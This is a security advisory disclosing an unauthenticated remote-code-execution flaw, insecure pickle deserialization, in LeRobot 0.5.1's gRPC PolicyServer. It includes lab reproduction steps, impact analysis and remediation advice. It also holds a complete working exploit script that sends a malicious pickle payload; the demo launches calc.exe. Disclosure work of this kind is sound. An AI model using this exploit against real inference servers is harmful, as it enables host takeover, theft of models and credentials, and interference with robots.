Full Disclosure ID: HA-2026-00122

LeRobot - Version 0.5.1 / Remote Code Execution (RCE) via Insecure Deserialization based on sink pickle.loads and request.data point in PolicyServer

JP
Joshua Provoste Security Researcher
Published June 01, 2026
Severity 10.0 (CRITICAL)
Target LeRobot / Robotics Inference Platforms

Below are one (1) way to reproduce RCE in LeRobot using a remote exploit controlled by an attacker (via web), without local intervention by a third party to modify files that allow code execution during the deserialization process.

For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).

Note: While this vulnerability is specifically verified and reported on version 0.5.1, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.

Introduction

LeRobot is Hugging Face's open-source library for state-of-the-art Real-world Robotics. It provides models, datasets, and simulation environments designed to democratize access to robotics AI research, allowing researchers and developers to train policies on simulation environments and transfer them directly to physical robots.

A core component of distributed robotics learning architectures is the Learner node, which coordinates policy optimization across multiple physical robot clients (Actors). Safe design of transport pipelines is crucial for preventing host machine compromise and physical control hijacking.

Vulnerability description

The PolicyServer in LeRobot v0.5.1 is an unauthenticated gRPC service used for remote robot policy inference. The server implements two critical entry points, SendPolicyInstructions and SendObservations, both of which process incoming byte streams using the insecure pickle.loads function.

Because the gRPC service is unauthenticated and uses add_insecure_port, any network-adjacent attacker can send a serialized malicious Python object. Upon reconstruction, this object can execute arbitrary commands in the context of the server process. This bypasses the typical "self-command-injection" restriction of pickle vulnerabilities as it enables remote execution without requiring local file system access.

The vulnerable code in lerobot/async_inference/policy_server.py:

Python (policy_server.py) Vulnerable Sink
    def SendPolicyInstructions(self, request: services_pb2.PolicySetup, context: grpc.ServicerContext):
        # TODO: authorize the request
...
        policy_specs = pickle.loads(request.data)  # nosec

Technical Impact Analysis

Project Purpose & Context

LeRobot is a framework developed by Hugging Face for robotics research, enabling the training and deployment of policies for various robot hardware. It is designed for high-performance inference, often separating the heavy computation (GPU-based Policy Server) from the physical robot client (Edge device), making the network-based communication protocol a critical security boundary.

Platform & Deployment Environment

The framework is cross-platform (Linux/Windows) and typically deployed in robotic research labs, universities, and industrial prototyping environments. Instances often run on local networks or specialized robot-to-server WLANs where gRPC services are exposed to facilitate real-time control.

Comprehensive Risk Assessment

The risk is classified as **Critical**. The ability to execute remote code on the inference server allows for the theft of proprietary models, poisoning of training data, and potential lateral movement into high-value research infrastructure (e.g., Hugging Face Hub accounts, Weights & Biases projects). Furthermore, in a connected robotics environment, an attacker could potentially manipulate the physical behavior of a robot by compromising the server that dictates its actions.

Attack Scenario

Who wants to exploit a particular vulnerability?

Threat actors interested in industrial espionage, competitors seeking model weights/architectures, or individuals aiming to sabotage robotic research operations.

For what gain?

High-fidelity access to model weights, exfiltration of sensitive training datasets, or the ability to implement persistent backdoors within autonomous robotic systems.

In what way?

By sending a single, malformed gRPC request to the PolicyServer port (default 8080). This request contains a pickle payload that executes an OS command (e.g., opening a reverse shell or exfiltrating environment variables) the moment the server attempts to "setup" the policy or "receive" an observation.

Reproduction steps

On Windows (victim) - IP 192.168.1.88

(.venv) PS L:\Deserializer\PYPI-lerobot> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88

1. Create a .venv, activate it, and install the latest updated version (0.5.1) of LeRobot using pip install lerobot.
2. Additionally, it is necessary to install grpcio and protobuf to create a complete testing environment: pip install grpcio protobuf.
3. And then lauch the Policy Server:

python -m lerobot.async_inference.policy_server --host 0.0.0.0 --port 8080
Server setup

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90

Create a file named exploit.py with the following content:

exploit.py
import grpc
import pickle
import os
import sys

# Ensure the lerobot transport modules can be imported
# Adjust the path if necessary depending on your environment
from lerobot.transport import services_pb2, services_pb2_grpc

class RCE:
    def __reduce__(self):
        # Best Practice: Use 'eval' for self-containment and 'or {}' 
        # to ensure the unpickler returns a safe object type (dict).
        # This prevents immediate application crashes after RCE.
        return (eval, ("__import__('os').system('calc.exe') or {}",))

def exploit(target_ip="127.0.0.1", target_port=8080):
    print(f"[*] Connecting to {target_ip}:{target_port}...")
    
    # Generate the malicious payload
    payload = pickle.dumps(RCE())
    
    # Create the gRPC channel and stub
    channel = grpc.insecure_channel(f"{target_ip}:{target_port}")
    stub = services_pb2_grpc.AsyncInferenceStub(channel)
    
    # Vector #1 targets 'SendPolicyInstructions' or 'SendObservations'
    # Here we use SendPolicyInstructions (Request type: PolicySetup)
    print("[*] Sending malicious PolicySetup...")
    request = services_pb2.PolicySetup(data=payload)
    
    try:
        # Trigger the vulnerable pickle.loads(request.data)
        stub.SendPolicyInstructions(request)
        print("[+] Request sent. Check target for execution.")
    except grpc.RpcError as e:
        # Code execution happens before the response is returned. 
        # A Crash or error here is often a sign of successful exploitation.
        print(f"[!] Server responded with error (RCE likely triggered): {e.details()}")

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    exploit(target)

Run the exploit to trigger the RCE:

python exploit.py 192.168.1.88
Exploit running
RCE confirmation

Executive Summary: RCE via Insecure Pickle Deserialization in LeRobot LearnerService

The research identifies a critical Remote Code Execution (RCE) vulnerability in the PolicyServer component of LeRobot v0.5.1.

  • Root Cause: The PolicyServer implements unauthenticated gRPC entry points (SendPolicyInstructions and SendObservations) that process incoming byte streams using the inherently insecure pickle.loads function.
  • Exploitation Mechanism: By establishing a gRPC connection to the default port (8080), any network-adjacent attacker can transmit a crafted, malicious serialized Python object. The server automatically deserializes this payload upon receipt, resulting in immediate execution of arbitrary commands in the context of the server process.

Analysis of Scope and Security Implications

This vulnerability is of critical severity, as it bypasses traditional security boundaries by enabling remote execution without requiring local file system access.

1. Infection Scenarios

  • Distributed Infrastructure Hijacking: In LeRobot deployments, the PolicyServer typically acts as the central compute node for robotic research. An attacker with network access to the service port can execute arbitrary code on high-performance machines hosting training or inference tasks.
  • Robot-to-Server Pivot: Since the service is unauthenticated, any device on the network can interact with the server. A compromised edge device (e.g., a robot controller) can be used as a vector to propagate the exploit to the central inference server.

2. Factors Exacerbating Risk

  • Zero Authentication: The gRPC service is deployed with add_insecure_port and lacks authentication, allowing any network-adjacent actor to trigger the vulnerable pickle sink.
  • Target Environment Value: These systems often process high-value data, including proprietary model weights, training datasets, and cloud service credentials (Hugging Face, Weights & Biases), all of which become accessible to an attacker.
  • Physical Manipulation: By compromising the server that dictates autonomous robot behavior, an attacker could potentially manipulate the physical actions of connected robotic hardware.

Conclusion and Recommendation

This is a critical-severity vulnerability. The combination of network-exposed gRPC services and pickle-based deserialization creates a direct path for complete system compromise.

Suggested actions for the development team:

  1. Remove Pickle: Immediately replace the pickle.loads sink in SendPolicyInstructions and SendObservations with a secure, non-executable data serialization format, such as Protobuf or msgpack (with strict type validation).
  2. Implement Authentication: Add mandatory authentication mechanisms (e.g., mutual TLS) to the gRPC service endpoints to prevent unauthorized access.
  3. Input Validation: Implement rigorous allow-listing and integrity signatures to ensure that only expected data structures are processed by the service.